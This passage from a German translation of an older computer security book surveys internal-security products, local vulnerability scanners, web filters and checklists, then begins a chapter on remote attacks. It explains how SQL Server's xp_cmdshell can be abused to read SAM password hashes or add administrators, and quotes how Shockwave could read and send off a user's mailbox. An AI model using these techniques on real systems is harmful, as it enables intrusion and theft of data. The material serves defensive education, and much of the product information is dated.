Firmware-Paßwortspeicherung (ohne Zugriffsmöglichkeit für interne Benutzer), Speicheroptionen für
batteriegepufferten Speicher und ein vollständig konfigurierbares Interface an. Er funktioniert mit jedem
beliebigen RS-232-Gerät.
CoSECURE
CoSYSTEMS, Inc.
Interne Sicherheit
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3350 Scott Blvd., Building 61-01
Santa Clara, CA 95054
Tel.: 001-408-748-2190
Fax: 001-408-988-0785
CoSECURE ist eine Unix-Anwendung, die eine Zugriffskontrolle für Modems auf der SPARC-Plattform
ermöglicht. Einwähl-Ports können auf viele unterschiedliche Arten komplett gesichert werden.
PortMarshal
Cettlan, Inc.
17671 Irvine Blvd., Suite 201
Tustin, CA 92780
Tel.: 001-714-669-9490
Fax: 001-714-669-9513
E-Mail: info@cettlan.com URL: http://www.cettlan.com/
PortMarshal ermöglicht eine High-Level-DES-Verschlüsselung und Authentifizierung für entfernte
Einwählverbindungen. Sie können eine Zugriffskontrolle für 256 Ports einrichten, und das Produkt hat
umfassende Auditing-Protokolle. Die Berichte enthalten grafische Analysemöglichkeiten zur
Bestimmung der Spitzen-Benutzungszeiten, Erstellung von Benutzungsberichten und so weiter. Auch das
DFÜ-Netzwerk von Windows wird unterstützt.
23.5 Platten, Verzeichnisse und Dateien
Die bloße Tatsache, daß lokale Benutzer persönlichen Zugang zu Ihren Workstations haben, gefährdet
bereits Ihre Sicherheit. Sie könnten z.B. Festplatten oder andere Geräte entfernen oder installieren. Es
gibt mehrere Möglichkeiten, diese Komponenten zu schützen.
PCKeep
Desktop Guardian, Ltd.
20 Bridge Street
Olney, Bucks. MK46 4AB U.K.
E-Mail: sales@desktop-guardian.com URL: http://www.desktop-guardian.com/
PCKeep bemerkt, wenn eine Komponente entfernt wird, und sendet einen Alarm aus, wenn
Komponenten manipuliert werden. Dieses Produkt eignet sich zur Überwachung aller Komponenten
eines PC. (Es kann auch Alarm schlagen, wenn ein PC abgeschaltet wird.) PCKeep hat Schnittstellen für
Novell, Microsoft Network und LANtastic. Es erzeugt umfassende Protokolldateien.
CRYPTO-BOX
MARX Software Security
Building 9, Suite 100
2900 Chamblee Tucker Rd.
Atlanta, GA 30341
Interne Sicherheit
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E-Mail: mcarroll@marx.com URL: http://www.marx.com/
CRYPTO-BOX ist ein sehr interessantes Produkt, das eine High-Level-Verschlüsselung sowie einen
vollständigen Kopierschutz bietet. Das Gerät wird entweder an einer parallelen oder einer seriellen
Schnittstelle des Rechners angeschlossen. Es schützt einzelne Programme durch Verschlüsselung und
Kopierschutz. Niemand kann sich Daten kopieren, ohne zuvor das richtige Paßwort eingegeben zu haben.
Sie können auf diese Weise sogar einzelne Dateien schützen.
Barracuda Anti Theft Devices
Barracuda Security Devices International
Suite 4- 20071, 113 B Avenue
Maple Ridge, B.C., Kanada, V2X 0Z2
Tel.: 001-44 (0) 1908 281661
Fax: 001-44 (0) 1908 281662
URL: http://www.barracudasecurity.com/
Die Barracuda Devices sind sehr praktische Geräte. Das Aushängeschild des Unternehmens ist eine
PC-Karte, die in einen Erweiterungssteckplatz eingesteckt wird und alle Computer- Komponenten
überwacht. Sobald eine Komponente manipuliert oder entfernt wird, werden Sie per Pager
benachrichtigt. Außerdem wird ein fürchterlich schriller Alarm ausgelöst.
The Access Watchdogs Premium Suite
InnoSec Technologies, Inc.
Suite 301 - 85 Scarsdale Road
North York, Ontario, Kanada M3B 2R2
Tel.: 001-416-446-6160
Fax: 001-416-446-1733
URL: http://www.innosec.com/
The Access Watchdogs Premium Suite ist eine Extremlösung, die aus zwei Elementen besteht. Das erste
ist DataLock, ein physikalisches Token-Sicherheitsgerät, das mit einem Miniaturschlüssel versehen ist.
Dieser Schlüssel ist erforderlich, um auf die lokale Workstation zugreifen zu können. Die Daten werden
auf einem virtuellen Laufwerk (mit Hilfe von 128-Bit-Verschlüsselung) auf einer sehr niedrigen Ebene
verschlüsselt. (Windows ist nicht am Verschlüsselungsprozeß beteiligt, und die Schlüssel werden
nirgendwo gespeichert, wo ein Benutzer auf sie zugreifen könnte.) Wenn jemand Ihre Festplatten stiehlt,
hat er keine Chance, etwas mit den Daten anzufangen.
23.6 Prüfungen der internen Sicherheit
Sie wären überrascht, wenn Sie wüßten, wie viele Unternehmen keine Prüfungen ihrer internen
Sicherheit durchführen. Ich glaube, nur eines von fünf kleineren Unternehmen macht das - und diese
Zahl ist wahrscheinlich noch großzügig gewählt.
Viele Unternehmen haben noch nicht einmal jemanden, der ausdrücklich für die Sicherheit zuständig ist.
(Außer Firmen mit dedizierter Internet-Anbindung.) Und Unternehmen, die Sicherheitspersonal haben,
Interne Sicherheit
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widmen dennoch der internen Sicherheit meist nicht genügend Zeit.
Die Sicherung eines internen Netzwerks kann genauso systematisch erfolgen wie die eines entfernten.
Wenn Sie ein großes Netzwerk haben, sollten Sie mit einem internen Sicherheitsscanner beginnen.
23.7 Interne Sicherheitsscanner
Wenn Sie Sicherheits-Scanner hören, denken Sie wahrscheinlich an Scanner, die prüfen, inwieweit Ihr
Netzwerk durch externe Sicherheitslöcher verwundbar ist. Es gibt viele solche Scanner, z.B.:
SATAN
Asmodeous
Network Security Scanner
Nessus
Wie ich in anderen Kapiteln bereits erwähnt habe, sind diese Scanner ausgezeichnet geeignet, um sich
einen Überblick über Ihre Netzwerksicherheit zu verschaffen. Allerdings machen sie wenig oder gar
keine Anstalten, Sie vor lokalen Sicherheitslöchern zu warnen, d.h. vor Löchern, die von Ihren eigenen
Benutzern ausgenutzt werden können. Dafür müssen Sie zu anderen Tools greifen.
Ich kann Ihnen die drei folgenden besonders empfehlen: SysCAT, SQLAuditor und System Security
Scanner.
23.7.1 SysCAT
Sytex, Inc.
Kontakt: Peter Wells, VP of Information Operations
9891 Broken Land Parkway, Suite 304
Columbia, MD 21046
Tel.: 001-410-312-9114
E-Mail: petew@sso.sytexinc.com URL: http://www.sytexinc.com/
SysCAT ist kein Netzwerk-Scanner (wie Ballista oder ISS). Statt dessen ist es ein Host- basiertes Tool
zur Beurteilung der lokalen Konfiguration Ihrer Workstation. SysCAT identifiziert eine Vielzahl von
Problemen, die durch falsche Konfigurationen entstehen. Die in einem benutzerfreundlichen Format
erstellten Berichte führen die einzelnen Konfigurationsfehler auf und weisen auf die Änderungen hin, die
Sie vornehmen sollten, um Ihr System sicher zu machen.
SysCAT vergleicht Ihre Workstation-Richtlinien mit Referenzmodellen. Dieses Referenzmodell ist je
nach Anbieter und Version des Unix, auf dem es läuft, ein anderes. Es ist von Standards für die
Sicherheitskonfiguration abgeleitet, die von Unix-Anbietern aufgestellt werden. Die verwendeten
Informationen zu Konfigurationsschwachstellen stammen aus Internet-Newsgruppen und Mailinglisten
(einschließlich Bugtraq, BOS, CERT, CIAC) und aus Sytex' Information Warfare Laboratory.
Es ist schon beeindruckend, was SysCAT leistet. Bei einem Test haben Sytex-Mitarbeiter eine
Sparc-Station eingerichtet und die folgenden Sicherheitsmaßnahmen ergriffen:
Installation aller von Sun empfohlenen Patches
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Installation eines Ballista-Scanners
Installation eines ISS-Scanners
Alle externen Schwachstellen, die von Ballista und ISS erkannt wurden, sind beseitigt worden. Erst dann
hat Sytex SysCAT gegen das System laufen lassen. Und tatsächlich: SysCAT hat weitere Schwachstellen
entdeckt, die Ballista und ISS übersehen hatten!
SysCAT untersucht eine breite Palette von Problemen:
Vertrauensbeziehungen zu Hosts
Nicht erforderliche NFS-Exporte
Zugriffskontrolle und Protokollierung
Dateiberechtigungen
Rootkit-Attacken
Betriebssystemspezifische Maßnahmen (suid/sgid-Programme, Weiterleitung von IP-Paketen und
so weiter)
Die für Solaris 2.5.x geeignete Version von SysCat befindet sich auf der CD-ROM, die diesem Buch
beiliegt. Für andere Versionen wenden Sie sich am besten direkt an Sytex.
23.7.2 SQLAuditor
DBSECURE
Newport Financial Center
113 Pavonia Avenue, Suite 406
Jersey City, NJ 07310
Tel.: 001-973-779-3583
Fax: 001-212-656-1556
E-Mail: info@sqlauditor.com URL: http://www.sqlauditor.com/
Die SQL-Sicherheit wird zu einem immer wichtigeren Thema, und das ist auch kein Wunder.
Datenbanken können sehr wertvolle, vertrauliche und schützenswerte Informationen enthalten. Wenn Sie
sich um Ihre SQL-Sicherheit Sorgen machen, sollten Sie sich SQLAuditor unbedingt einmal ansehen.
Je nach Art Ihrer SQL-Implementierung haben Sie eventuell einige ernste Probleme. Zum Beispiel
werden zwischen Client-Anwendungen und dem SQL-Server übermittelte Paßwörter per Voreinstellung
entweder in Klartext oder mit uuencode codiert gesendet. Auf jeden Fall eine unsichere Angelegenheit.
SQL-Auditor kann diese und andere Schwachstellen Ihres Systems prüfen.
SQL-Sicherheit scheint auf den ersten Blick vielleicht kein kritisches Problem zu sein, aber Sie sollten
folgendes bedenken: Wenn ein Cracker Ihren SQL-Server offenlegt, könnte er Zugriff auf das gesamte
Betriebssystem erlangen. Insbesondere Windows NT ist für diese Attacke anfällig. Solche Angriffe
werden über die erweiterte Funktion xp_cmdshell implementiert, die für SQL-Server zur Verfügung
steht.
Interne Sicherheit
file:///d|/cool stuff/old/hack/kap23.htm (9 von 18) [19.04.2000 21:15:29]
xp_cmdshell ermöglicht dem Server die Ausführung üblicher Systembefehle. Sie können z.B. eine
Verzeichnisliste bekommen, eine Datei löschen, eine Datei in eine Ausgabedatei lesen und so weiter.
Noch wichtiger ist jedoch, daß xp_cmdshell verwendet werden kann, um Zugriff auf Bereiche zu
bekommen, die Ihnen vorher verwehrt waren. Das bietet eine schnelle, bequeme Möglichkeit, sich über
die Zugriffskontrolle von Windows NT hinwegzusetzen.
Hinweis:
xp_cmdshell nimmt unterschiedliche Argumente an, und Sie können Befehle und Ausgaben sogar
umleiten. Zum Beispiel würden Sie die folgende Anweisung eingeben, um eine Verzeichnisliste zu
erhalten und sie in der Datei mydirec zu plazieren:
xp_cmdshell('dir > c:\\mydirec')
Sie sollten sich xp_cmdshell als ein Tool vorstellen, das genau das tut, was sein Name impliziert - es
erzeugt eine Kommando-Shell. Diese Shell kann verwendet werden, um Zugang zu eingeschränkten
Bereichen zu erhalten, auf verschlüsselte Paßwörter in ihrer rohen Form vom SAM zuzugreifen oder
sogar neue Benutzer zur Administrator-Gruppe hinzuzufügen.
SQLAuditor testet Ihr System auf diese und eine Vielzahl anderer Schwachstellen, die eine Gefahr für
Ihren SQL-Server darstellen könnten. SQLAuditor nimmt sich der drei bedenklichsten Bereiche an:
Authentifizierung, Autorisierung und Systemintegrität. Dabei überprüft es unter anderem die folgenden
Dinge:
Authentifizierung. Login-Attacken, alte Login-IDs, integrierte Logins, verwaiste Login- IDs,
verwaiste Benutzer-IDs, nicht passende Benutzer-IDs, Default-Login, Paßwort-Alterung,
Paßwort-Analysen und so weiter.
Autorisierung. Verletzung der Login-Zeiten, erweiterte gespeicherte Prozeduren, OLE-
automatisierte gespeicherte Prozeduren, xp_cmdshell, entferne Zugriffe, entfernte Logins und
Server, Berechtigungen, Systemtabellenberechtigungen und so weiter.
Systemintegrität. Windows-NT-Servicepacks, Hotfix-Updates, SQL-Server-Servicepacks,
Trojanische Pferde, Internet-Information-Server-Integration, Backup-Verfahren, Verschlüsselung
gespeicherter Prozeduren, Trigger und Ansichten, Netzwerkprotokolle usw.
SQLAuditor ist das konkurrenzlos beste Tool zur Prüfung der Sicherheit von SQL-Servern. Wenn Sie
einen SQL-Server unter Windows NT betreiben, ist dieses Tool ein absolutes Muß. Das Programm
enthält ein Wörterbuch mit 30.000 Einträgen zum Testen von Paßwörtern und formatiert seine
Ergebnisse in Form von sehr benutzerfreundlichen Berichten.
23.7.3 System Security Scanner (S3)
Internet Security Systems, Inc. (ISS)
41 Perimeter Center East, Suite 660
Atlanta, GA 30071
Tel.: 001-770-395-0150
Fax: 001-770-395-1972
E-Mail: info@iss.net URL: http://www.iss.net/
Interne Sicherheit
file:///d|/cool stuff/old/hack/kap23.htm (10 von 18) [19.04.2000 21:15:29]
S3 ist ein Bestandteil der SAFEsuite-Distribution von ISS. Es unterstützt derzeit folgende Plattformen:
AIX 3.2.5, 4.1 und 4.2
HP-UX 9.05 und 10.x
Irix 6.2, 6.3 und 6.4
Linux 1.2.13+
Solaris 2.3 bis 2.5.1
SunOS 4.1.3 bis 4.1.4
ISS ist für seine Tools zur Netzwerkprüfung bekannt, darunter Internet Security Scanner, Web Security
Scanner und Intranet Security Scanner. Das sind alles Tools, die Ihr Netzwerk von außen testen. System
Security Scanner (S3) testet dagegen Ihre lokale Sicherheit.
Um Ihren aktuellen Sicherheits-Level zu bestimmen und frühere Systemoffenlegungen zu identifizieren,
beurteilt S3 Dateiberechtigungen und Eigentumsrechte, Netzwerkdienste, Account-Einrichtungen,
Programmauthentizität, Betriebssystemkonfiguration und allgemeine, mit Benutzern in Zusammenhang
stehende Schwächen wie einfach zu erratende Paßwörter.
Außerdem vergleicht S3 systematisch die Sicherheitsrichtlinie Ihres Unternehmens mit der tatsächlichen
Konfiguration von Host-Rechnern im Hinblick auf potentielle Sicherheitsrisiken. Das Programm ist
ziemlich umfassend. (Den Angaben zufolge prüft S3 auf ca. 60 bekannte Sicherheitslöcher.)
ISS stellt Versionen zur Verfügung, mit denen man das Programm testen kann. Eine davon finden Sie auf
der CD-ROM, die diesem Buch beiliegt.
23.7.4 RSCAN
Nate Sammons (mit wichtigen Beiträgen von Paul Danckaert)
Colorado State University
URL: ftp://ftp.umbc.edu/pub/unix/security/rscan/
RSCAN diente früher ausschließlich zum Scannen von IRIX-Hosts. Der Code wurde inzwischen neu
geschrieben, und das Programm wird nun als heterogenes Netzwerk-Tool bezeichnet (heterogen heißt
hier: für unterschiedliche Unix-Versionen). RSCAN automatisiert die Prüfung folgender Schwachstellen:
Aktuelle Kernel-Parameter
Verwundbare X-Server
Dateisysteme, die von Unbefugten gemountet werden können
Welche entfernten Dienste über inetd.conf unterstützt werden
Berechtigungen für .DOT-Dateien
Eigentumsrechte auf Verzeichnisse und Dateien auf root-Ebene (/)
Interne Sicherheit
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Einstellungen von rhosts und hosts.equiv
Bekannte sendmail-Sicherheitslücken
Irrtümlicherweise für jedermann schreibbare Verzeichnisse und Dateien
Sie können RSCAN auf einem einzelnen Rechner oder auf mehreren Rechnern gleichzeitig laufen lassen.
Die Berichte werden entweder in ASCII oder HTML ausgegeben, je nachdem, was Sie bevorzugen.
RSCAN ist zum gegenwärtigen Zeitpunkt recht ausgereift und hat seine eigene API. Sie ist zwar nicht
allzugroß, bietet aber eine zusätzliche Funktionalität. Es ist denkbar, daß RSCAN auf jedes Unix-System
portierbar ist, auf dem Perl 4 oder 5 läuft.
23.8 Kontrolle des Internet-Zugriffs von
Mitarbeitern
Auch wenn es sich zuerst vielleicht ein bißchen komisch anhört, ist der InternetZugriff von Mitarbeitern
doch zu einem ernsten Problem geworden. Viele Unternehmen mußten die Erfahrung machen, daß man
sehr schnell viel Geld verlieren kann, wenn man seinen Mitarbeitern uneingeschränkten Zugriff aufs
Internet gewährt. Kürzlich bat mich eine Großhandelsfirma wegen dieses Problems um meine Hilfe. Sie
hatten - wie viele Unternehmen es tun - ihre teuren gemieteten Leitungen gekündigt, um die
Kommunikation zwischen ihren Filialen fortan über das Internet abzuwickeln.
Das neue System sparte anfangs auch einiges. Es gab jedoch ein paar versteckte Kosten. Das Personal
verbrachte teilweise einige Stunden am Tag damit, sich Pornographie aus dem Internet herunterzuladen.
Es gab keine richtige Unternehmensrichtlinie dagegen.
Den Benutzern Zugang zum Internet zu gewähren, birgt noch weitere Probleme. Es muß nicht unbedingt
Ihr Netzwerk sein, das offengelegt wird. Es könnte auch Ihre harte Arbeit sein. Folgendes wurde in einer
Mailing-Liste gepostet, die an firewalls@GreatCircle.COM unterhalten wird. Der Autor war ein für die
Informationssicherheit verantwortlicher Systemadministrator, der Beitrag stammt vom 28. März 1997.
Der Autor schrieb:
Ich habe eine Statistik davon erstellt, was in fünf Monaten durch die Firewall nach außen
gedrungen ist - über 400.000 Zeilen geschützter Quellcode für ein Projekt. All diese Leute
hatten legitimen internen Zugriff. Es kommt mir (fast) so vor, als wäre die ganze
regelmäßige Sicherheitsarbeit, die ich für dieses Unix-Netz geleistet habe, vollkommen
umsonst. Es ist doch überhaupt nicht mehr wichtig, ob jemand den Root- Account knacken
kann, wenn ohnehin irgendwelche Diebe und Idioten einfach per E- Mail verbreiten, wozu
sie Zugang haben.
Für Cracker ist dies gerade der Reiz des Internet. Der beste Weg, durch eine Firewall zu kommen, ist,
einen internen Komplizen zu haben, der einem die nötigen Informationen sendet. Ich kenne Personen, die
auf diese Weise Paßwörter und andere Informationen von Unternehmen bekommen haben. Ein Mitglied
der Bande erhält einen Arbeitsvertrag (oder befristeten Job) in dem Unternehmen. Er bringt
Informationen zutage, an die auf andere Weise durch die Firewall hindurch nicht so leicht
heranzukommen wäre. Eine Gruppe hat dies gerade mit Pacific Bell gemacht. Eine andere mit Chevron.
Das sind nicht gerade Tante- Emma-Läden.
Interne Sicherheit
file:///d|/cool stuff/old/hack/kap23.htm (12 von 18) [19.04.2000 21:15:29]
Der Secure Network Server (SNS) der Secure Computing Corporation ist eine Möglichkeit, diese
internen Diebe wenigstens daran zu hindern, Ihre wertvollen Daten nach draußen zu senden. Dieses von
der National Security Agency anerkannte Modul filtert E-Mail. Das System verwendet eine proprietäre
Technologie, und laut der von der Secure Computing Corporation zur Verfügung gestellten
Dokumentation:
...bietet das System Multilevel Security (MLS), indem es den Austausch von nicht geheimen
Informationen zwischen geheimen Netzwerken und nicht geheimen Netzwerken ermöglicht.
Die SNS-Filterung und die Möglichkeit der Erstellung digitaler Signaturen mit FORTEZZA
stellen sicher, daß nur autorisierte E-Mails aus der geschützten Umgebung versendet
werden können.
Wegweiser:
SNS finden Sie online unter http://www.nsa.gov:8080/programs/missi/ scc_sns.html. Es ist ein
beeindruckendes Produkt.
Es kann sogar dann Probleme geben, wenn Ihre Benutzer gar nicht aktiv versuchen, Ihr System zu
knacken. Vielleicht ist es Teil ihrer Arbeit, im Internet zu surfen, und sie sind sich gar nicht bewußt, daß
eine wertvolle, geschützte Information aus Versehen aus Ihrem Netzwerk entwichen ist. Ein Beispiel für
einen solchen Fall ist die jüngste Shockwave-Kontroverse. Vor kurzem wurde erkannt, daß Shockwave
benutzt werden kann, um die Sicherheit von Netzwerken zu durchbrechen, wenn jemand eine Seite
anwählt:
Ein Entwickler kann Shockwave benutzen, um auf die Netscape-E-Mail-Verzeichnisse des
Benutzers zuzugreifen. Dies geschieht, indem man einen bestimmten Namen und Pfad zu
dem Postfach auf der Festplatte des Benutzers voraussetzt. Die vorgegebenen Namen für
Mail-Verzeichnisse sind z.B. Inbox, Outbox, Sent und Trash. Der Default- Pfad zur »Inbox«
auf Win95/NT wäre C:/Programme/Netscape/Navigator/Mail/Inbox. Dann
kann der Entwickler den Shockwave-Befehl GETNETTEXT verwenden, um den Navigator
aufzurufen und das E-Mail-Verzeichnis nach einer E-Mail zu fragen. Die Ergebnisse dieser
Abfrage können dann in eine Variable überführt werden und später bearbeitet und an einen
Server gesendet werden.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus »Shockwave Can Read User's Email«, einem Artikel von David
de Vitry. Er wurde ursprünglich unter http://www.webcomics.com/shockwave/ gepostet. Sie finden ihn
auch unter http://www.ntsecurity.net/.
Die folgenden Produkte können Ihnen bei der Verwaltung des Internet-Zugriffs Ihrer Mitarbeiter
behilflich sein.
23.8.1 N2H2 von Bess School and Business Filters
Bess School and Business Filters
1301 5th Avenue, Suite 1501
Seattle, WA 98101
Interne Sicherheit
file:///d|/cool stuff/old/hack/kap23.htm (13 von 18) [19.04.2000 21:15:29]
Tel.: 001-800-971-2622
E-Mail: info@n2h2.com URL: http://www.n2h2.com/
N2H2 bietet spezialisierte Filterdienste, die Unternehmen helfen, die Produktivität ihrer Angestellten zu
steigern - zum einen durch Überwachung und Protokollierung der Internet- Nutzung und zum anderen
durch maßgeschneiderte Internet-Filterung.
Der N2H2-Filterdienst erzeugt Berichte, die häufig besuchte, nicht geschäftliche Webseiten
identifizieren. Es wird angegeben, wie oft diese innerhalb eines bestimmten Zeitraums aufgesucht
werden, und welche Clients am häufigsten solche Seiten aufrufen. Der Service sperrt eine ganze Reihe
von Diensten, darunter WWW-Sites und Chat-Kanäle/Räume.
Das N2H2-Paket ist besonders attraktiv, weil Bess den gesamten Vorgang extern durchführt. (Sie müssen
keine Software oder Hardware installieren.) Das bedeutet, daß auch die cleversten Möchtegern-Cracker
in Ihrer Organisation keine Möglichkeit haben werden, das System zu umgehen.
23.8.2 WebSENSE
NetPartners Internet Solutions, Inc.
9210 Sky Park Court First Floor
San Diego, CA 92123
Kontakt: Jeff True
Tel.: 001-619-505-3044
Fax: 001-619-495-1950
E-Mail: jtrue@netpart.com URL: http://www.netpart.com/
WebSENSE ist ein fortschrittliches System zum Abschirmen von Internet-Inhalten, mit dem
Unternehmen Netzwerk-Traffic zu Internet-Sites überwachen oder verhindern können, die als
unangemessen oder anderweitig unerwünscht angesehen werden. WebSENSE ist als ein
Windows-NT-Dienst implementiert, der auf einem einzigen Windows-NT-Rechner läuft, so daß es nicht
erforderlich ist, Software auf den einzelnen Workstations der Benutzer zu installieren. WebSENSE
unterstützt eine Vielzahl von TCP-Protokollen, darunter HTTP, Gopher, FTP, Telnet, IRC, NNTP und
RealAudio. Die empfohlene Mindestkonfiguration ist ein Intel 486 mit 16 MB RAM und Windows NT
3.51 (oder höher).
23.8.3 X-STOP
X-STOP
Log-On Data Corporation
828 West Taft Avenue
Orange, CA 92865-4232
Tel.: 001-714-282-6111
E-Mail: info@ldc.com URL: http://www.xstop.com/
X-STOP ist eine sehr umfassende Lösung zur Einschränkung des Zugriffs von Angestellten auf
unerwünschte Sites. Hauptbestandteil von X-STOP ist ein auf Hardware basierender Sperrfilter. Das
Blockieren kann auf unterschiedliche Arten erfolgen (und Sie können auch ganz darauf verzichten und
Interne Sicherheit
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einfach nur überwachen lassen, welche Sites besucht werden).
X-STOP geht jedoch noch einen Schritt weiter. Sie können es auch verwenden, um Angestellte daran zu
hindern, unternehmenseigene Daten zu versenden. (X-STOP kann darauf trainiert werden, den Versand
bestimmter Daten zu verhindern. Es filtert die Betreffzeile und den Nachrichtentext und sucht nach
verdächtigen Mustern.) Sie können fast jeden beliebigen Auslöser spezifizieren. Zum Beispiel könnten
ein Alarm und eine Sperre ausgelöst werden, wenn einer Ihrer Mitarbeiter eine Nachricht senden will, die
eine bestimmte Telefonnummer enthält.
X-STOP ist teuer, aber es ist sein Geld wert. Sie können bis zu 10.000 Workstations mit diesem Produkt
filtern.
23.8.4 Sequel Net Access Manager
Sequel Headquarters
Lincoln Executive Center, Building III
3245 146th Place SE, Suite 300
Bellevue, WA 98007
Tel.: 001-1-800-973-7835
Fax: 001-425-556-4042
E-Mail: sales@sequeltech.com URL: http://www.sequeltech.com/
Sequel Net Access Manager überwacht und kontrolliert den Internet- (und Intranet-) Zugang auf Ihrem
lokalen System. Aufgrund der umfangreichen Berichte, die dieses Programm erzeugt, können Sie es dazu
verwenden, den ausgehenden Traffic nach Abteilung oder LAN- Segment genau zu bestimmen. So
können Sie den einzelnen Abteilungen ihre Internet-Nutzung genau »berechnen«.
Noch wichtiger ist jedoch, daß Sequel Net Access Manager auch verwendet werden kann, um
Zugangsrichtlinien für HTTP, FTP, SMTP, NNTP, Oracle, SQL*net, Lotus Notes und andere Dienste
durchzusetzen. (Sie können den Zugang auf Grundlage einer Vielzahl von Variablen beschränken, wie
z.B. der Tageszeit.)
23.8.5 SmartFilter
Secure Computing Corporation
2675 Long Lake Road
Roseville, MN 55113
Tel.: 001-408-918-6100
E-mail: sales@securecomputing.com URL: http://www.securecomputing.com/
SmartFilter kann mit der NT-Firewall von Secure Computing zusammen verwendet oder als
Einzelprodukt erworben werden. SmartFilter läßt sich nahtlos in alle Netscape-Proxy-Server integrieren
und unterstützt sogar die Filterung japanischer Sites. SmartFilter funktioniert bekanntermaßen gut auf
folgenden Plattformen:
AIX
SunOS
Interne Sicherheit
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Solaris
HP-UX
Irix
DEC UNIX
BSDI
Linux
UnixWare
Windows NT
Weiterhin unterstützt das Produkt mehrere populäre Firewalls, und es enthält ein Software-
Entwicklungs-Kit für den Fall, daß Sie seine Möglichkeiten erweitern wollen.
23.9 Entwicklung von Checklisten zur Optimierung
der Verfahrensweisen
Obwohl es durchaus erfolgreich sein kann, spezifischen Sicherheitslücken der einzelnen Plattformen
nachzujagen, gibt es noch andere Möglichkeiten, die interne Sicherheit zu verbessern. Eine ganz einfache
ist, die beste Praxis für Ihr Unternehmen zu bestimmen. Um dies zu erreichen, müssen Sie überprüfen, ob
die Organisation und die Verhaltensmuster Ihres Unternehmens der Sicherheit dienlich sind.
Das ist kein allzu kompliziertes Unterfangen. Sie sollten zumindest die folgenden Bereiche untersuchen:
Physikalische Zugriffsbeschränkungen. Wer hat Zugang zu Ihren Servern und Workstations?
Wenn diese Rechner in »gemeinschaftlichen« Arbeitsbereichen stehen, ist das ein Problem. Es
sollten nur diejenigen Zugang haben, die ihn wirklich benötigen.
Backup-Maßnahmen. Haben Sie die Möglichkeit, Daten nach einem Verlust wiederherzustellen?
Wie oft führt das Personal Backups durch? Wo werden die Backup-Medien aufbewahrt? Sind sie
paßwortgeschützt? Wie oft prüfen Sie die Integrität von gesicherten Daten?
Schutz vor böswilligem Code. Läuft auf jeder Workstation und den Servern täglich eine
Virenprüfung? Ist Ihre Anti-Viren-Software auf dem neuesten Stand? Wer ist für die Updates
verantwortlich? Lassen Sie Tools zur Prüfung der Datei- und Systemintegrität laufen?
Verschlüsselung. Verwendet Ihr Unternehmen Verschlüsselungsmethoden?
Patches für Betriebssystem und Anwendungen. Hält sich Ihr Unternehmen in Sachen
Sicherheitspatches auf dem laufenden? Haben Sie ein System zur Protokollierung dieser
Maßnahmen?
Paßwörter. Werden die Benutzer gezwungen, ihre Paßwörter in regelmäßigen Abständen zu
ändern? Hat Ihr Unternehmen eine Richtlinie für Paßwörter? Wie oft wird die Stärke der
Paßwörter der Benutzer geprüft?
Dokumente. Verwendet Ihr Unternehmen Aktenvernichter?
Das alles sind grundlegende Sicherheitsvorkehrungen, aber Sie wären überrascht, wenn Sie wüßten, wie
viele Unternehmen nicht einmal diese Basisanforderungen erfüllen. Wenn Ihr Unternehmen zuvor noch
nie Sicherheitsrichtlinien und -Verfahren aufgestellt hat, wissen Sie vielleicht nicht, womit Sie anfangen
Interne Sicherheit
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sollen. Checklisten können dabei sehr hilfreich sein.
23.9.1 Sicherheitschecklisten
Die folgenden Abschnitte enthalten eine Reihe von Sicherheitschecklisten. Ich empfehle Ihnen, sich alle
anzusehen, die für Ihre spezielle Konfiguration von Bedeutung sind, und sie zu kombinieren.
Microsoft MS-DOS Security Checklist
Autor: Bryan Thatcher, USAF
URL: http://kumi.kelly.af.mil/doscheck.html
Microsoft Windows Security Checklist
Autor: Bryan Thatcher, USAF
URL: http://kumi.kelly.af.mil/wincheck.html
UNIX Computer Security Checklist
Autor: AUCERT
URL: http://www.bive.unit.liu.se/security/AUSCERT_checklist1.1.html
LAN Security Self-Assessment
Autor: Computer Security Administration; University of Toronto
URL: http://www.utoronto.ca/security/lansass.htm#lansass
Generic Password Security Checklist
Autor: Lindsay Winsor
URL: http://delphi.colorado.edu/~security/users/access/goodprac.htm
CERT Coordination Center Generic Security Information Checklist
Autor: Computer Emergency Response Team
URL: http://ird.security.mci.net/check/cert-sec.html
TCP/IP Security Checklist
Autor: Dale Drew
URL: http://ird.security.mci.net/check.html
Interne Sicherheit
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Informix Security Checklist
Autor: unbekannt
URL: http://spider.osfl.disa.mil/cm/security/check_list/appendf.pdf
Cisco IP Security Checklist
Autor: Cisco Systems, Inc.
URL: http://www.cisco.com/univercd/cc/td/doc/cisintwk/ics/icssecur.htm
Security Policy Checklist
Autoren: Barbara Guttman und Robert Bagwill
URL: http://csrc.nist.gov/isptg/html/ISPTG-Contents.html
23.10 Zusammenfassung
Die interne Sicherheit ist eine ernste Angelegenheit, und leider hatte ich hier nur wenig Platz, mich
diesem Thema zu widmen. Ich empfehle Ihnen, einige der Bücher zu lesen, die in Anhang A,
»Bibliographie zum Thema Sicherheit - Weiterführende Literatur«, aufgeführt sind. Viele dieser Titel
sind bewährte und zuverlässige Bücher über allgemeine Computer- Sicherheit.
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Interne Sicherheit
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24
Der entfernte Angriff
Dieses Kapitel untersucht die Anatomie eines entfernten Angriffs.
24.1 Was ist ein entfernter Angriff?
Ein entfernter Angriff (Remote-Angriff) ist ein Angriff, der gegen einen entfernten Rechner ausgeführt
wird.
Ein entfernter Rechner ist jeder Rechner - ausgenommen der, an dem Sie gerade sitzen - , auf den Sie
über das Internet oder ein anderes Netzwerk zugreifen können.
24.2 Die ersten Schritte
Die ersten Schritte eines entfernten Angriffs beinhalten seltsamerweise wenig oder gar keinen direkten
Kontakt mit dem Ziel. Das erste Problem eines Crackers ist es, an folgende Informationen zu gelangen:
Wie sieht das Netzwerk aus?
Welche möglichen Schwachstellen gibt es?
Wer betreibt das Netzwerk?
Woher bekommt es seine Anbindung?
Das läßt sich schnell und unauffällig herausfinden. Üblicherweise verwendet der Cracker dazu ganz
normale Netzwerk-Utilities. Das erste Ziel ist, sich nur einen Überblick zu verschaffen, eine allgemeine
Vorstellung davon, wie die Zielumgebung aussieht. Sehen wir uns einmal an, welche Informationen man
sammeln kann, ohne das Zielsystem aufzuschrecken.
24.3 Einen kurzen Blick auf das Netzwerk werfen
Ein Cracker könnte damit beginnen, eine Host-Abfrage zu starten. Das Host-Utility sammelt alle
verfügbaren Informationen von Name-Servern. Das kann zu einer Menge Informationen führen. Für
dieses Kapitel habe ich z.B. eine Host-Abfrage an der Boston University gestartet. Die Ergebnisse
wuchsen auf über 1,5 Mbyte an, und ich habe die Verbindung schließlich gekappt. (Zu dem Zeitpunkt
